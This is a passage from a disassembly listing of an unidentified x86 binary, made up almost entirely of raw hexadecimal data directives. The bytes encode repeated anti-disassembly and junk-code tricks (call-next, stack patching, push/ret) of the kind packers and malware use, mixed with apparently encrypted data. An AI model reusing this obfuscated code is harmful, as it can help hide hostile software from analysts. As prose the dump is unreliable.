881A20FCh, 0F88B2C30h dd 4C19D8Bh, 6A610607h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0DD8FC357h, 0AC6CBFBCh dd 85C72145h, 6072FD5h, 3, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 71C35242h, 6052250Ah, 1A4D958Bh, 23600607h dd 71FB59Dh, 2DB50906h, 61060716h, 91BD8361h, 60AA2h, 0F840Fh dd 0BF660000h, 21E9D290h, 81000000h, 4CD25CCFh, 0C305041h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 14E9h dd 9E772A00h, 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h dd 14E85033h, 9B000000h, 91C7BA47h, 0E95E653Fh, 0C6E95AE2h dd 1E82AE8Dh, 605DBB31h, 835F5B61h, 72FD5BDh, 850F0306h dd 3B0h, 12E9h, 9EC8F700h, 5899C50Dh, 44556317h, 47F39113h dd 83AC7D82h, 0AA291BDh, 840F0006h, 38Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0AC35646h, 0DABD0998h dd 8ABF11C9h, 0FF3532A6h, 0AA291B5h, 499D3106h, 0FF060703h dd 7164195h, 9E806h, 3AB00000h, 31EE15CCh, 894EF26Bh, 70F4D8Dh dd 0B58B5F06h, 60AA285h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0C6C35646h, 6C7F5ECh, 10001h, 9FE1E381h dd 509622EFh, 11E860h, 3AB10000h, 992CA453h, 91106F11h dd 5E6EB632h, 0E9BD513Ch, 12h, 0BF208762h, 1EE68748h, 3CD7450Dh dd 0BF964918h, 0B25E1CAEh, 6A966184h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7B33C352h dd 3CD4881Eh, 8BDD9667h, 728259Dh, 91B5FF06h, 6A060AA2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 647CC355h, 0DE9ECh, 96DA0000h, 0EB20738Ah dd 7ED2E721h, 0FF07A9A4h, 71DE195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 1873E2D8h dd 0F798EC6h, 9589450Fh, 6071E81h, 8BDEB70Fh, 0AA285B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 6D7434EEh, 0A98D2998h, 8B060730h, 720A585h dd 0D1B26006h, 18870Fh, 13E90000h, 25000000h, 3912DE8Eh dd 2B7DFB62h, 0D20F0671h, 467C0C16h, 89611D4Bh, 0C486h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 1585200Dh, 0A01958Bh, 11E80607h, 0FC000000h dd 3BF345E1h, 15FA05B6h, 0B33CA06Ch, 25C2DABh, 835FD98Ah dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 41543DC3h, 1A606B2Fh, 89BD8948h, 8906071Ah dd 0B5312050h, 6070A21h, 0B5BC858Dh dd 9531060Ah, 60715B1h, 1785B589h, 86890607h, 0B8h, 4860Fh dd 0BF660000h, 9D093367h, 60719D9h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 54957BC3h dd 288ABDB9h, 9D311CFDh, 6072099h, 0A291B5FFh, 0BD8B060Ah dd 6070795h, 28595FFh, 0BD890607h, 6072C3Dh, 6870Fh, 0C3810000h dd 5539A247h, 89FE8B50h, 8D892434h, 60702DDh, 0A291B5FFh dd 95FF060Ah, 6071155h, 0D3816651h, 835F7646h, 706DDBDh dd 840F0006h, 11h, 2C18589h, 89500607h, 0BD332434h, 6070149h dd 91B5FFFCh, 8B060AA2h, 723B19Dh, 0F195FF06h, 106071Bh dd 714D195h, 91B5FF06h, 6A060AA2h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4EAC353h dd 0C73D6E67h, 0F9F7812Ah, 942B1A5h, 73145B5h, 0F595FF06h dd 0E906071Ah, 11h, 80A221Fh, 4817B7F1h, 9241C16Fh, 518C821h dd 0F5BD83ECh, 2060719h, 30840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 202418C3h dd 81AEB672h, 5E057DCFh, 29858B7Ch, 0C606071Ah, 85C70000h dd 6070D09h, 0 dd 27558D89h, 8B600607h, 723F58Dh, 0D5852B06h, 61060717h dd 0FFF4A2E9h, 8BF98BFFh, 81B509C1h, 8D060717h, 72C6185h dd 5E906h, 0F1B40000h, 908FEE8Bh, 0DE8h, 8BEAA500h, 38E55E09h dd 6EEA86C4h, 0DA8BEC0Ah, 0AE8505Bh, 20000000h, 89A76D1Dh dd 0B1621FACh, 9E900h, 8A730000h, 5C3D758Eh, 5F2EC1B2h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0B3BB6643h, 6A006AF5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 74F4C350h dd 88F071ADh, 0BF1C9B66h, 9760787h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 12FB7C3h dd 12E8CFh, 0C68E0000h, 9D1B4B94h, 0CE9EEB77h, 85EE6119h dd 2D1C8ED3h, 12E99D01h, 8D5B0607h, 0B8AA185h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 9D0BCBC5h, 6072D51h, 6A05C083h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 12E0C351h dd 76053A1Bh, 0FAA1570h, 184h, 5090FC00h, 68E0Fh, 52500000h dd 585A310Fh, 8EB7505Bh, 10E990h, 5EE80000h, 7D99336h dd 2BADB633h, 0A4B55441h, 6A631Eh, 4318D89h, 6A0607h, 1A759D8Bh dd 95FF0607h, 6071335h, 8166FC60h, 6162EEDBh, 939D8D8Dh dd 0BD01060Ah, 6072E89h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0B360A8C3h, 119D8B3Ch dd 8306071Dh, 732B1BDh, 850F0106h, 0A2h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CEC35242h, 62F268Dh dd 0BB66FBADh, 26A99A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 31C35242h, 50335ACCh, 10E8h, 0C0A97700h dd 0CBC26C0Fh, 0F092B60Eh, 5BEFC63h, 848CBF32h, 895B4F78h dd 95292404h, 6072CFDh, 28595FFh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 4497FCC3h dd 68B0Fh, 95090000h, 60706F5h, 1A4D8D89h, 51E90607h, 0E800000Dh dd 0 dd 0ABED815Dh, 6A060B8Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 331CC350h, 2126E735h dd 812FCC94h, 0ABC5F2EBh, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2537662Ch dd 95890C3Dh, 6070B85h, 8603858Dh, 8B66060Ah, 5E9F8h, 37F0000h dd 90D26898h, 6650FA8Bh, 90CFEDBBh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0C5C35242h, 0D998094h, 0B1BAC186h dd 0FF64DA8Bh, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 33A86EF8h, 25896461h dd 0 dd 0A5D9E381h, 85FF6EFDh, 6072C89h, 0BE8h, 4108FA00h, 2EED431Bh dd 3BF05AF3h, 99D8B60h, 60060706h, 6A5B6161h, 0EF8166FFh dd 0B5FF1E86h, 6070B09h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0AEC35545h, 68C0Fh, 8D890000h, 60732B5h dd 213D95FFh, 4E90607h, 66000001h, 0B0C1F1BFh, 0CE900h dd 0F8170000h, 0E3B63133h, 9EEA1618h, 70E6A83Fh, 599131BBh dd 2371E469h, 70F4D9Dh, 0F613C06h, 0D683h, 0D9BF0F00h dd 66C8B60Fh, 0BBB222BFh, 62534C5Ah, 6BAh, 819D8900h, 8B060717h dd 29BF66C1h, 4E8C195h, 23DDBD8Bh, 0F7660607h, 9D8960E2h dd 6072639h, 1CF5858Bh, 2B610607h, 14E8C8h, 0F2B20000h dd 588218EFh, 0A9C64D76h, 0C8D92A41h, 702BF620h, 0AFB356B0h dd 81D18B5Fh, 20263BCBh, 5E96Ah, 0CCBF0000h, 8B6AB7A6h dd 7274985h, 6E906h, 236D0000h, 0F7B80C12h, 2907C083h dd 72D0DBDh, 0C08306h, 23DDBD89h, 0D03B0607h, 0B830Fh dd 0B5890000h, 6070D19h, 36E9h, 0F18D8B00h, 81060714h dd 996728C7h, 55BD8B33h, 83060717h, 840F01E1h, 1Bh, 2835BD31h dd 0A5830607h, 60714F1h, 499589FEh, 0F060727h, 0E9FEBFh dd 8D000000h, 0AFADDB5h, 42ECBF06h, 6A2730h, 12559D8Bh dd 0DF8B0607h, 1B6995FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0D4CB80C3h, 70BB4E91h dd 0EFB910A0h, 66000007h, 0F5EEC781h, 6AFCE183h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 6318C356h, 314C2564h, 71515B5h, 0FCDC8A06h, 11799D89h dd 0BD230607h, 60711A1h, 0B8h, 11E800h, 0C56F0000h, 0B9B32A23h dd 48E18992h, 0E9A78D09h, 0F4586C9h, 486h, 0BBF6600h, 0BA5FDFh dd 8B000000h, 70EEDBDh, 68E0F06h, 31000000h, 7282D85h dd 0C233AD06h, 0D003E8D1h, 7504E983h, 44D381F4h, 6A245D26h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 8C9CC356h, 880D2Ch, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 9C52DBC3h dd 9D8B34E0h, 60719D9h, 0A01958Bh, 8B510607h, 704919Dh dd 0BD8B5B06h, 6073185h, 14A58D8Bh, 0F1B30607h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 4DA1EFC3h dd 349003B7h, 0E99262C6h, 10h, 7E4880DDh, 664C6742h, 353A7D7h dd 0C96EBB0Ch, 2FF9BD83h, 0F000607h, 8D84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B5F2D0E0h, 2147A8F2h, 0FBD3806Bh, 0B8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 9997B771h, 0D55FEDDAh, 9DBD3369h, 81060709h, 0FDD43CE3h dd 4A8D8D7Eh, 5306074Bh, 6AE1FF5Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0AFC0C352h dd 0FA0AA461h, 8B0Fh, 0BD830000h, 6072FD5h, 21840F00h dd 89000004h, 7151D95h, 0D5BD8306h, 106072Fh, 429840Fh dd 0BF660000h, 0BD832DB3h, 6072FD5h, 0E2860F03h, 8B000003h dd 70F4DBDh, 8F0F6006h, 1, 8BF560FCh, 7045985h, 8C666106h dd 7D9D89D9h, 80060705h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0CC9857C3h, 89B589F3h dd 8B060702h, 717799Dh, 0FC90A06h, 16884h, 8BDE8A00h, 70EF185h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 812A595Eh, 0BCE59ACEh, 0B509F171h, 60711F1h dd 15698533h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 96656C3h, 4B2C8E23h, 0FFEB81F3h dd 903F7B8Ch, 50F88B66h, 58576050h, 53DF10B8h, 905B613Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 59C35040h dd 59589A9h, 6A060713h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0C542E470h, 0DCEFC868h dd 81DC8A2Dh, 0EC372434h, 6A2DC3h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 4E9776C3h, 95FF67E1h dd 6070561h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 74C35545h, 0F8BF0F48h, 30E78166h, 91858900h, 6A060AA2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 6C14C357h, 0F0011691h, 864A0078h, 10198589h dd 0DBE90607h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 3A4C351h, 87DE3D2Fh dd 89858BACh, 0E9060AA2h, 0Dh, 0CAF4DA16h, 7804D590h, 76E8F3A4h dd 1800C75Dh, 89000000h, 70F099Dh, 0DED78106h, 8B28432Dh dd 0AA28DB5h, 6D958906h, 8B06071Ch, 71C7D85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 5FE58F18h, 66C6FB5Dh, 0E960FB8Bh, 14h, 14BF9C9Fh, 0B2733CE0h dd 0A77263BEh, 0E12F17C4h, 0C5DC3476h, 0A99B58Bh, 89610607h dd 6E9FC06h, 86000000h, 5683D64Dh, 0F1858B5Ah, 6A06070Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 1A3AC353h, 609E457Ah, 659D8917h, 89060731h dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 94CFB2C3h, 0E19663C2h, 4F85C781h, 66600658h dd 0F53DA8Bh, 85h, 81615900h, 0D05985C3h, 0D88B9616h, 0BD239650h dd 6072D41h, 0A289B5FFh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 9D0B13C3h, 60719B9h dd 8E950h, 0C9C00000h, 57C16D3Fh, 685BC34Ah, 3F34F4FBh dd 7E9h, 0CB083400h, 4291805Ch, 4243481h, 6A3F2BF7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 7FACC357h, 57B6CD4Fh, 858DCF69h, 60AA291h, 0BF5090F9h dd 0B008E3Ch, 89853190h, 0FF060712h, 7056195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 3EEB702h, 0C88842B9h, 0BB6108B3h, 38331C1Eh, 20619D8Bh dd 85C70607h, 6072FD5h, 3, 68E0Fh, 0BD8B0000h, 6070EC1h dd 0A291BD83h, 0F00060Ah, 3C84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0B59310Ch dd 66D0B441h db 0D3h, 0E1h word_584F4E dw 0BD89h ; DATA XREF: ___:00436804o dd 6071E0Dh, 27E9h, 6820F00h, 8B000000h, 704599Dh, 0C305006h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0F41BD23h dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 9B722FC3h, 0DE9F8h, 0F6200000h, 56B0702Bh dd 0CB730F9h, 835E3DAFh, 72FD5BDh, 850F0306h, 424h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0F4C35040h, 0D2816660h dd 95890CC7h, 6072949h, 91BD8361h, 60AA2h, 3EE840Fh, 0DB810000h dd 7404BC11h, 0A291B5FFh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0DE95CC3h, 84000000h dd 0CC4470DFh, 0F0CB7CFFh, 5730D942h, 164195FFh, 0BD890607h dd 60721ADh, 0A285B58Bh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 6F5313C3h, 9708B0E2h dd 0D9CF8166h, 106C736h, 6A000100h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 8862C357h dd 31D0B5E8h, 66492BD5h, 5196DA8Bh, 505FDA8Bh, 3820Fh dd 8B660000h, 13E896D8h, 0F9000000h, 0D21F5C18h, 81BEE0C6h dd 0E743F1Ah, 306D7C49h, 8D89001Bh, 607182Dh, 0C19D315Fh dd 0FF06072Eh, 0AA291B5h, 0FFC6B706h, 71DE195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 3C8876EDh, 4BFE855Bh, 0BB66B9F5h, 0BD8BDC22h, 6072949h dd 0A285B58Bh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8BDF35C3h, 720A585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 4895177Ah, 0B98531FDh, 89060700h, 0C486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0F0EDE555h, 0C1BD23D4h, 8B060703h, 70A0195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0B5179A90h, 6390A885h, 0C283F85Ch, 11E804h, 67170000h dd 57D1D48Bh, 1B5FBDAh, 0D8AFC115h, 0FE2888Ch, 68Eh, 8E0F00h dd 5F000000h, 6A205089h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 91A2C350h, 0B2B9138Ch dd 50DB8166h, 0BC858D9Eh, 0BB060AB5h, 4F51B93Bh, 1A758589h dd 86890607h, 0B8h, 0BF0F006Ah, 91B5FFDEh, 6A060AA2h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 4B9BC355h, 0B589EC90h, 607121Dh, 28595FFh, 0FC8A0607h dd 0AE950h, 363C0000h, 0E03115F1h, 23319673h, 8B243489h dd 719B9BDh, 91B5FF06h, 66060AA2h, 0FFFD83BBh, 7115595h dd 358D8906h, 8306071Ch, 706DDBDh, 840F0006h, 7Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A5C35141h, 69BE009h dd 99958981h, 8906070Eh, 706BD9Dh, 830F9606h, 5, 0E9C9B7BBh dd 11E95006h, 7D000000h, 0E2DF26h, 9B391D94h, 0D0E70C9h dd 0F1731135h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 82750553h, 113F9DD3h dd 20318529h, 0B5FF0607h, 60AA291h, 26698501h, 95FF0607h dd 6071BF1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0B3C35545h, 0F9B9510h, 388h, 0DF8B6600h, 0A291B5FFh dd 9D8B060Ah, 6071595h, 1AF595FFh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 3391D3C3h dd 6FE68618h, 19F5BD83h, 0F020607h, 3784h, 0B99D8B00h dd 8B06071Fh, 71A2985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 8B151308h, 0C6210DA2h dd 0BD010000h, 6071219h, 0D0985C7h, 607h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 250ED8C3h, 66817FDEh, 3D06EF81h, 0FFF3CEE9h, 0B8F0FFFh dd 0E9000000h, 6, 0C7E413E9h, 0C18B4EEBh, 0CE8h, 0C0B55800h dd 149D269Bh, 0B5D41F8Eh, 0E1B58924h, 5F060720h, 2C61858Dh dd 0E8520607h, 9, 0E0AC5C97h, 1E860064h, 11E8ADh, 0ACA00000h dd 962B5C64h, 4C9FDFB9h, 203155BEh, 5F7FC039h, 66905B5Bh dd 5050D88Bh, 0D88B6652h, 10E9310Fh, 0A1000000h, 0F95CF241h dd 0A6CF740Eh, 0C8A0B8CFh, 5A1DE3D1h, 6A9058h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0FE8DFC3h, 0C000000h, 0FB044ED0h, 0EE84894Fh, 72C64472h dd 49B301ECh, 6A006A5Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 1B27C351h, 0E03203F9h dd 9BD8B6Ah, 6A060732h, 559D8B00h, 8D060715h, 0B9A2285h dd 3D858906h, 57060732h, 0E8A0Fh, 8E80000h, 0AB000000h dd 534AC79Dh, 5B648DF4h, 5C0835Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0B5C35141h, 0BD3660F7h, 54664B11h dd 90DD8A30h, 0BB505F52h, 47EC30FEh, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0F8006A0Ch dd 0BB66006Ah, 0BD8BAE4Ah, 60719E5h, 133595FFh, 8D8D0607h dd 60A939Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 3C35747h, 7CC2EF7Ch, 63404F3Ch, 0CE98Ch, 53530000h dd 0A5B87AAFh, 8458208Ah, 0D1FF918Fh, 0A9CF8166h, 0B1BD8353h dd 1060732h, 9D850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 8F279AC3h, 8A0F3D1Ah dd 18h, 13E9h, 0A9DE0700h, 21E7549h, 16274B60h, 3E587A4Fh dd 0CD72A17Ah, 9D29026Ah, 6072179h, 0D98B6650h, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 9936C352h, 6DB5892Bh, 0FF06072Eh, 7028595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 3B9A5C25h, 0D19D89BFh, 0E9060712h, 0DBAh dd 0E8h, 0ED815D00h, 60B9A2Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 80C35646h, 82C1BE20h, 6F9B6727h dd 0E78166FAh, 6A15CEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0BFC543C3h, 0A46EDCC7h, 66A35999h dd 8D19A7BFh, 0A860385h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 4E050275h, 13E990h, 8DAE0000h dd 0A25B1306h, 35C7DEFDh, 4E80B363h, 1738DEF4h, 0B8605043h dd 23A5D653h, 9061D08Bh, 4FD9D23h, 0BE90607h, 42000000h dd 645213AFh, 4A70C56Ah, 0FF647A96h, 35h, 52006A00h, 3E8h dd 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0CF816617h dd 896417D4h, 25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0E26EF24Bh, 0E9BD0BF5h dd 0B7060718h, 8985FF56h, 2906072Ch, 711A985h, 0F5FF6A06h dd 26DB5FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FF6476C3h, 7213D95h, 13BE906h dd 0DBBB0000h, 0B024C85Fh, 0A9BD0300h, 0E606071Ah, 14E970h dd 894E0000h, 0D57CA95h, 97312284h, 87A43C23h, 0EC8224C2h dd 71E4B931h, 1BC19D8Bh, 9D8B0607h, 6073339h, 830F613Ch dd 0FDh, 48F0Fh, 8B530000h, 0B60F5BFAh, 3D39BBC8h, 6BA5C8Fh dd 8B000000h, 70D5DBDh, 8BC18B06h, 4E8C1D9h, 14E9h, 0B6F9F400h dd 0E7C14DBh, 9A813EA1h, 37B3A8EEh, 36965EC8h, 0BE9DBh dd 882A0000h, 0AA02F8A0h, 0CDFFE3EBh, 0E2F766E6h, 32FD9589h dd 0C82B0607h, 319D9D03h, 0D18B0607h, 2CF58D29h, 0BF660607h dd 6E9DAAEh, 31000000h, 7333985h, 21858B06h, 0F060706h dd 687h, 21B58900h, 83060718h, 0E95707C0h, 10h, 28E81EAh dd 48334170h, 0C358753Bh, 0CF70F089h, 0C0835Bh, 3091B589h dd 0D03B0607h, 13830Fh, 89560000h, 71A699Dh, 3EE95B06h dd 1000000h, 717D5B5h, 518D8B06h, 66060713h, 0E183FB8Bh dd 26840F01h, 57000000h, 26E6BF66h, 51A5835Fh, 0FE060713h dd 9589FB8Bh, 6070621h, 15419529h, 0BD8B0607h, 60704E1h dd 0E9h, 4CB58D00h, 89060B04h, 733319Dh, 0F006A06h, 68Ah dd 85BD3300h, 0FF060731h, 71B6995h, 890F06h, 0F000000h dd 29B9F8BFh, 6A000009h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 11BDC353h, 3054664Bh dd 89340F98h, 700059Dh, 0FCE18306h, 6E8h, 9C552B00h, 5B059C8Dh dd 2B0DB7FCh, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 68D0FD5h, 89000000h, 7179595h, 0FE8B306h dd 188Fh, 12820F00h, 0E8000000h, 0Ch, 684C1124h, 0A6BA44B6h dd 95463E8Ch, 0BA5Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0BBD40C3h, 0D7BA37C5h dd 66FFE48Bh, 1077F781h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0BD8BD88Bh, 6072171h, 880Dh, 0F88B6600h, 0A01958Bh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0CC203EC3h, 595C529Bh, 8D8B7608h, 60714A5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 51C35747h dd 0B7A35540h, 0C28B5012h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0D978C353h, 9943272Eh, 2D9DC93Eh dd 1BB5BD8Bh, 0BD830607h, 6072FF9h, 6F840F00h, 0E9000000h dd 0Eh, 0A7364A90h, 1C202EC8h, 4A44463Fh, 0B88132h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 5052C353h, 4DA4D2A5h, 1BA9BD03h, 8D8D0607h dd 6074B4Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 6C35141h, 8DBFBF52h, 0BB5F5478h, 5CA8BC12h, 0BD83E1FFh dd 6072FD5h, 840F00h, 0E9000004h, 7, 7240B8EFh, 83753296h dd 72FD5BDh, 840F0106h, 402h, 0D5BD83F8h, 306072Fh, 3BE860Fh dd 60F80000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 6C35545h, 37877FB4h, 2E4C2F0Ch, 11E8h, 48848300h dd 0ABB0DB52h, 82C006A8h, 14FCC170h, 0B70F842Fh, 8C665FFFh dd 0E9C9B7D9h, 9, 74C43629h, 1A453E7Dh, 4E180FBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AC35747h, 3F795BBBh dd 0FC90A20h, 17284h, 858BF500h, 6070EF1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DAC35242h, 8DA1AF80h dd 95896B4Fh, 607061Dh, 15698533h, 800F0607h, 6, 2DDBD89h dd 50900607h, 6A90DD8Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0BB8AC353h, 23ED56FCh dd 12E992h, 90AD0000h, 5684B1BEh, 316A98A5h, 0D58F88AFh dd 8D755E19h, 0EC3119BFh, 6A006A65h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 29EDC351h dd 0F8783B6Dh, 24E55B68h, 0FE99Ch, 0D91C0000h, 853519BAh dd 0C9F65E28h, 75201DC5h, 2404813Fh, 63FA1EA4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 62C35343h, 0B44C9D8Eh dd 0D2BFD98Bh, 0FF512E84h, 7056195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 9884D35Bh dd 0A0B4D133h, 0F9B70F74h, 0A2918589h, 6A060Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 949A27C3h, 0A99D8BEFh, 8B060711h, 713959Dh, 15AE906h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0B05E9AC3h, 8BB6E4D4h, 0AA28985h, 29BD8906h dd 8B060721h, 732599Dh, 1800C706h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 